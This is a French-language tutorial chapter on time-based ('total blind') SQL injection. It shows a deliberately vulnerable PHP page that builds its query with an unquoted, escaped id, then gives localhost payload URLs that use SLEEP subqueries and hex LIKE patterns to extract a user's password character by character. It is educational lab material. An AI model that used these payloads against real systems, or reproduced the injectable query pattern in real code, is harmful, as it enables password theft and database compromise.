Licence CC BY

Total Blind SQL Injection

Publié :

Cette fois-ci, les choses vont se corser un peu plus.

Une « Total Blind SQL Injection », c'est une injection qui renvoie un résultat mais où ce dernier n'est pas affiché et où vous êtes donc incapable, visuellement, de savoir si oui ou non la requête a renvoyé un résultat (ce qui ne veut pas dire qu'elle n'a forcément rien renvoyé pour autant. Vous me suivez toujours ? :P ).

Pourtant, l'exploitation n'est absolument pas impossible. Il y a juste que nous ne pouvons plus nous baser sur un retour visuel (une phrase ou un mot qui change, une image qui est affichée dans un cas et pas dans l'autre etc). Il existe cependant une autre mesure, non visible, que l'on peut « calculer ».

Vous n'avez toujours pas trouvé ? ^^

Bon je vais vous aider : un autre nom de la « Total Blind SQL Injection », c'est… « TIME Based SQL Injection ».

Le temps ! Voilà ce qui va nous permettre de déterminer si la requête a renvoyé, ou non, un résultat.

Comme d'habitude voici le code source de l'exemple que nous allons utiliser.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
    // code source de time.php
    $host = "localhost";
    $user_mysql = "root";     // nom d'utilisateur de l'utilisateur de MySQL 
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE html>
<html lang="fr">
    <head>
        <title></title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <?php
            if(!empty($_GET['id']))
            {
                $id = mysqli_real_escape_string($db, $_GET['id']);
                $query = "SELECT id, username FROM users WHERE id = ".$id;
                $rs_article = mysqli_query($db, $query);
            }
        ?>
    </body>
</html>

Contenu de time.php

Bon ok, ce code ne veut pas dire grand chose et ne fait, au final, rien du tout mais c'est pour illustrer cet exercice. ;-)

Lançons nous dans l'exploitation une fois de plus !

Exploitation

Tentons d'effectuer quelques tests :

http://localhost/zds/injections_sql/time.php?id=1 AND 1=1

1
SELECT id, username FROM users WHERE id = 1 AND 1=1

Et maintenant une requête où la condition n'est pas vérifiée (car 1 n'est pas égal à 2).

http://localhost/zds/injections_sql/time.php?id=1 AND 1=2

1
SELECT id, username FROM users WHERE id = 1 AND 1=2

Absolument aucune différence (en apparence) et pourtant la première requête a bel et bien renvoyé un résultat.

Pour parvenir à différencier cela, nous allons utiliser le temps. Plus précisément nous allons demander volontairement à la requête d'attendre quelques secondes si elle a un résultat à envoyer. De cette façon, nous pourrons facilement différencier le « oui » du « non ». ;-)

Nous allons utiliser la fonction SLEEP de MySQL qui permet comme son nom l'indique de faire "dormir" notre SGBD durant X secondes. Nous utiliserons également ce que l'on appelle une sous-requête : c'est une requête qui sera exécutée avant notre requête principale. C'est dans cette sous-requête que nous ferons notre injection. Il y a d'autres possibilités (en utilisant une condition IF() par exemple) mais la sous-requête est un exemple assez simple à comprendre.

Voici à quoi va ressembler notre injection.

http://localhost/zds/injections_sql/time.php?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND 1=2)

1
SELECT id, username FROM users WHERE id = -1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND 1=2)

Ce qui nous intéresse surtout ici, c'est notre sous-requête qui dit ceci : « Patiente 3 secondes SI 1 est égal 2 ». Comme 1 n'est pas égal à 2, la sous-requête n'attend pas et le tout s'exécute directement. Mais si la condition est juste, la sous-requête va patienter 3 secondes avant de renvoyer son résultat, qui n'est en fait rien du tout dans notre cas, mais ce n'est pas tellement le résultat renvoyé qui nous importe (puisque de toute façon, nous ne le voyons pas), mais bien le temps de réponse.

Vérifions tout de suite notre théorie et remplaçons la condition 1=2 par 1=1.

http://localhost/zds/injections_sql/time.php?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND 1=1)

1
SELECT id, username FROM users WHERE id = -1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND 1=1)

Avez vous remarqué que votre navigateur a mis bien plus de temps à charger la page ? Oui, c'est bien à cause du SLEEP ! La condition étant vraie cette fois ci, la requête a patienté volontairement environ 3 secondes avant de renvoyer son résultat. C'est grâce à ce temps de « latence volontaire » que nous pouvons déterminer si la condition est vérifiée ou non !

Le reste est identique à la Blind SQL Injection c'est à dire que nous allons tester avec un LIKE « Est ce que le mot de passe commence par a ? », « Est ce que le mot de passe commence par b ? » etc. La seule grosse différence est la manière dont nous déterminons le résultat de la requête : dans l'exemple précédent, c'était sur base d'une chaîne de caractères qui était différente si la requête renvoyait ou non un résultat alors qu'ici nous nous basons sur le temps de réponse de la requête (allongé volontairement si la condition est vérifiée) et non sur le résultat renvoyé. ;-)

Ce qui donnerait finalement quelque chose comme ceci.

http://localhost/zds/injections_sql/time.php?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND password LIKE 0x6125)

1
SELECT id, username FROM users WHERE id = -1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND password LIKE 0x6125)

Le premier caractère de notre mot de passe est t (0x74 en hexadécimal), testons pour voir si notre navigateur va réellement mettre plus de temps à recevoir la réponse.

http://localhost/zds/injections_sql/time.php?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND password LIKE 0x7425)

C'est effectivement le cas : on sait par conséquent que le premier caractère est t.

Testons avec un autre caractère afin de voir la différence de temps.

http://localhost/zds/injections_sql/time.php?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND password LIKE 0x7525)

Logiquement, vous devriez « percevoir » la différence de temps entre les deux exemples.

Il suffit de procéder de la même manière pour les autres caractères. ;-)


Comme nous avons pu le voir, les injections SQL ne sont pas toujours aussi visibles que cela, ce n'est pas pour autant qu'elles sont inexploitables. ^^